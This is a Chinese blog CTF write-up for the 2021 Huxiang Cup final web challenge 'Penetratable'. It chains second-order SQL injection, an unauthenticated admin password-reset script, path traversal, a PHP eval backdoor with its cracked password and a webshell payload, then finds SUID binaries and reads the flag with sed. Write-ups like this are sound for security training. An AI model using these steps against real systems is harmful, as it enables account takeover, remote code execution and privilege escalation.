[湖湘杯 2021 final]Penetratable

已于 2022-09-15 19:41:45 修改
阅读量836 收藏 1
点赞数 2
分类专栏： 刷题 文章标签： php
于 2022-09-15 19:40:04 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_52585514/article/details/126878223
版权
  • suid提权
  • 二次注入
  • hash爆破

拿到网站，先进行目录扫描

扫出来了一些

[19:10:19] 301 -  317B  - /app  ->  http://1.14.71.254:28011/app/
[19:10:19] 403 -  279B  - /app/.htaccess
[19:10:21] 301 -  320B  - /config  ->  http://1.14.71.254:28011/config/
[19:10:22] 200 -    1KB - /config/
[19:10:26] 302 -    0B  - /index.php  ->  /?id=1
[19:10:26] 302 -    0B  - /index.php/login/  ->  /?id=1
[19:10:30] 200 -    0B  - /phpinfo.php
[19:10:32] 403 -  279B  - /server-status
[19:10:32] 403 -  279B  - /server-status/
[19:10:33] 301 -  320B  - /static  ->  http://1.14.71.254:28011/static/

但是都没什么用，打开都是php文件，看不到内容

继续看

这里可以注册，登录，也可以修改密码

尝试二次注入

注册admin’#，修改密码，不成功

换一个闭合方式

admin"# 修改密码成功

修改密码为1234

image-20220915191721920

在抓包的过程中，发现了传的参数

name是被base64编码过

pass是被md5加密过

say也是被base64编码过

在req.js里可以看见

所以在做题的时候要多看看文件

function login(){
    let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(0).val()))
    let pass=hex_md5($(".form-floating>input").eq(1).val())
    $.ajax({
        url: '/?c=app&m=login',
        type: 'post',
        data: 'name=' + name+'&pass=' + pass,
        // async:true,
        dataType: 'text',
        success: function(data){
            let res=$.parseJSON(data);
            if (res['login']){
                switch (res['type']){
                    case 'user': location.href="/?c=user"; break;
                    case 'admin': location.href="/?c=admin"; break;
                    case 'root': location.href="/?c=root"; break;
                }
            }else if(res['alertFlag']){
                alert(res['alertData']);
            }
        }
    });
}

function userUpdateInfo(){
    let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    $.ajax({
        url: '/?c=user&m=updateUserInfo',
        type: 'post',
        data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
        // async:true,
        dataType: 'text',
        success: function(data){
            alertHandle(data);
        }
    });
}

function signOut(){
    $.ajax({
        url: '/?c=app&m=signOut',
        type: 'get',
        dataType: 'text',
        success: function(data){
            alertHandle(data);
        }
    });
}

function alertHandle(data){
    let res=$.parseJSON(data);
    if(res['alertFlag']){
        alert(res['alertData']);
    }
    if(res['location']){
        location.href=res['location'];
    }
}

function changeAdminPage(type){
    let page=$('.page').text();
    if (type=='next'){
        location.href='?c=admin&m=getUserList&page='+(parseInt(page)+1);
    }
    if (type=='last'){
        location.href='?c=admin&m=getUserList&page='+(parseInt(page)-1);
    }
}
function changeRootPage(type){
    let page=$('.page').text();
    if (type=='next'){
        location.href='?c=root&m=getUserInfo&page='+(parseInt(page)+1);
    }
    if (type=='last'){
        location.href='?c=root&m=getUserInfo&page='+(parseInt(page)-1);
    }
}

function updatePass(){
    // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    // $.ajax({
    //     url: '/?c=admin&m=updatePass',
    //     type: 'post',
    //     data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
    //     // async:true,
    //     dataType: 'text',
    //     success: function(data){
    //         alertHandle(data);
    //     }
    // });
}

function adminHome(){
    location.href='/?c=root'
}

function getUserInfo(){
    location.href='/?c=root&m=getUserInfo'
}

function getLogList(){
    location.href='/?c=root&m=getLogList'
}

function downloadLog(filename){
    location.href='/?c=root&m=downloadRequestLog&filename='+filename;
}

function register(){
    let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(2).val()))
    let pass=hex_md5($(".form-floating>input").eq(3).val())
    let saying=encodeURIComponent(Base64.encode($(".form-floating>input").eq(4).val()))
    $.ajax({
        url: '/?c=app&m=register',
        type: 'post',
        data: 'name=' + name+'&pass=' + pass +'&saying=' +saying,
        dataType: 'text',
        success: function(data){
            // console.log(data);
            alertHandle(data);
        }
    });
}

登录admin账户，可以看见用户名

在首页看见root`s say

说明有root用户

尝试二次注入修改root用户密码

被爆没有权限

image-20220915191937598

说明只有admin是有权限修改密码的

在抓包过程中看见了修改密码的发包过程，在js代码里也可以看见

admin修改密码

function updatePass(){
    // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    // $.ajax({
    //     url: '/?c=admin&m=updatePass',
    //     type: 'post',
    //     data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
    //     // async:true,
    //     dataType: 'text',
    //     success: function(data){
    //         alertHandle(data);
    //     }
    // });
}

直接登录普通修改传参就行了，不用登录admin

我看其他wp他们都用的paython脚本

import base64
from hashlib import md5
import requests
url1="http://1.14.71.254:28585/?c=app&m=login"
name=base64.b64encode('admin'.encode('utf-8')).decode()
password = md5(b'111').hexdigest()
pass2=md5(b'root').hexdigest()
url2="http://1.14.71.254:28585/?c=admin&m=updatePass"
name2=base64.b64encode('root'.encode('utf-8')).decode()
sess=requests.session()
res1=sess.post(url=url1,data={"name":name,"pass":password});
print(res1.text)
res2=sess.post(url=url2,data={"name":name2,
                              "newPass":pass2,
                              "oldPass":password,
                              "saying":"TIz"})
print(res2.text)

其实是不用的

而且admin修改密码是可以直接修改的，不管旧密码是否正确

image-20220915192644910

修改root密码为12345

登录后发现可以下载文件

继续抓包

存在目录遍历

image-20220915193010742

这样就可以看我们之前看不到的文件的代码

看了一些文件，在phpinfo.php找到了关键代码

image-20220915193147874

<?php 
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);} 
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>

直接cmd5得到值

为1q2w3e

然后就是写马

如果直接连接http://1.14.71.254:28011/phpinfo.php?pass_31d5df001717=1q2w3e

密码cc

发现连接不了，要在写个文件，或者这样

http://1.14.71.254:28011/phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);

密码：1

才能连上

在根目录发现flag

但是没有权限

image-20220915193448860

suid提权

find / -user root -perm -4000 -print 2>/dev/null#查找拥有suid的二进制文件

看到sed有suid权限，用sed读文件

image-20220915193605997

sed -n '1p' flag # 输出文件第一行的内容

sed选项:

常见的sed命令选项包含以下几种：
-e或-expression=：表示用指定命令或者脚本来处理输入的文本文件
-f或-file-：表示用指定的脚本文件来处理输入的文件文件
-h或–help：显示帮助
-n、-quite或silent：表示仅表示处理后的结果
-i：直接编辑文本文件

sed操作：

a：增加，在当前行下面增加一行指定内容。
c：替换，讲选定行替换为指定内容。
d：删除，删除选定的行。
i：插入，在选定行上面插入一行指定内容。
p：打印，如果同时指定行，表示打印指定行；如果不指定行，则表示打印所有内容，如果又非打印字符，则以ASCLL码输出。通常与“-n”选项一起使用。
s：替换，替换指定字符
y：字符转换

v2ish1yan
关注
  • 2
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
CTF 湖湘杯 决赛 2021 final.zip
12-07
CTF 湖湘杯 决赛 2021 final
[湖湘杯 2021 final]Penetratable-----记suid提权
qq_73767109的博客
06-24 305
于是可以根据这个发包对里面的data改写成root的，这要登录在admin下进行修改，因为root没有权限哪只能是admin有。sed命令来自英文词组“stream editor”的缩写，其功能是用于利用语法/脚本对文本文件进行批量的编辑操作。可以看到有目录泄露，经过读取有static里可以看到有用信息其他的都说php文件读取后没有回显。但是用同样的方式发现不能对root进行修改密码导致不能登录root。这样意思是在admin下修改root的密码,这里修改为root。登录后暂时没有发现什么有用的信息。
2021年--湖湘杯--final
unexpectedthing的博客
04-28 1346
21年湖湘杯比赛
final2021:决赛2021
04-09
决赛2021 决赛2021
2023 羊城杯 final
11-21
附件
2021-final大作业1
08-03
（1） 选择一款社会工程学工具，尝试在合法范围内使用，并形成记录 （2） 优化修改一款社会工程学工具 （1） 选择一个公开发布的漏洞，参考资料编制漏洞利用程序，
Solution2021_Final
04-12
解决方案2021_Final
2021-湖湘杯final-Web
feng的博客
01-05 2070
2021-湖湘杯final-Web 前言 今年湖湘报的社企组的结果就是最后只能摆烂，然后决赛那段时间正好在复习期末，然后考完了想好好的休息一段时间，打游戏打累了再来复现一下湖湘杯final的题目放松放松。 vote 今年HTB的基本上算是原题了，复现的时候才发现当时做那题的时候就摆烂没管了，所以一点印象没有。。。 const path = require('path'); const express = require('express'); const pug
2021湖湘杯
qq_48511129的博客
11-24 642
Web easywill 发现这里可以进行本地文件包含 http://eci-2zec2ffu8ckzf4ciogou.cloudeci1.ichunqiu.com/?name=cfile&value=…/…/…/…/…/…/etc/passwd 参考下面链接的pearcmd.php的巧妙利用 https://tttang.com/archive/1312/ 构造payload ?name=cfile&+config-create+/&value=…/…/…/usr/local/li
[湖湘杯 2021 final]vote
m0_70819573的博客
04-11 120
【代码】[湖湘杯 2021 final]vote。
2021湖湘杯WEB
~airrudder~
03-02 819
文章目录2021 湖湘杯MultistaeAgencyPenetratablevote 2021 湖湘杯 MultistaeAgency 分析参考文章：2021湖湘杯决赛-MultistageAgency。 一道 Golang 的题目，附件目录结构如下所示： tree . ├── Dockerfile ├── dist │ ├── index.html │ └── static │ ├── css │ │ ├── app.21c401bdac17302cdde185ab
2021第七届湖湘杯-web-wp
midi
11-15 4176
第七届湖湘杯-web-wpWeb1 easywillWeb2 Pentest in Autumn Web1 easywill 题目给的附件Pom.xml Pom.xml 中有actuator http://eci-2zedwevdyx4t10vmh85o.cloudeci1.ichunqiu.com:8888/actuator Springboot中actuator常见接口（1.x能够直接访问，2.x是在actuator目录下） 由于没有权限，接下来访问都是302 http://eci-2zedwevdy
[CTF复现]湖湘杯2021
anwen12的博客
12-14 3757
go_web 今天又是学爆guoke哥哥博客的一天 0x01 MultistageAgency 通过看源码 我们发现 这个题是三个服务 su - web -c "/code/bin/web 2>&1 >/code/logs/web.log &" su - web -c "/code/bin/proxy 2>&1 >/code/logs/proxy.log &" /code/bin/server 2>&1 >/code/log
刷题日记 date 6.7
m0_64348326的博客
06-07 101
这种方式我刚开始在普通用户的测试越权时试过是不行的，可能是由于这个账号是admin的原因导致这种方式又能成功越权执行了。而这两个功能是在类Notes中，node.js的类实际上还是语法糖，本质还是函数。1.先注册个用户，进入后台发现有修改密码的地方，抓包查看是否有逻辑越权，但是由于需要旧密码，导致这步失败了。4.注意到管理员的修改密码功能被禁止了，查看req.js文件，找到了一段js，这里有隐藏的修改密码接口。一次包含，这个我是真没猜到，因为啥提示都没有，我猜测的是可能设置了文件读写权限。
volatile final
最新发布
04-22
`volatile final`组合了两个Java关键字：`volatile`和`final`。具体如下： - **`final`**：当用`final`修饰一个变量时，这个变量就变成了一个常量，它的值在初始化后不能被改变。对于引用类型，`final`表示引用不可...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

v2ish1yan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值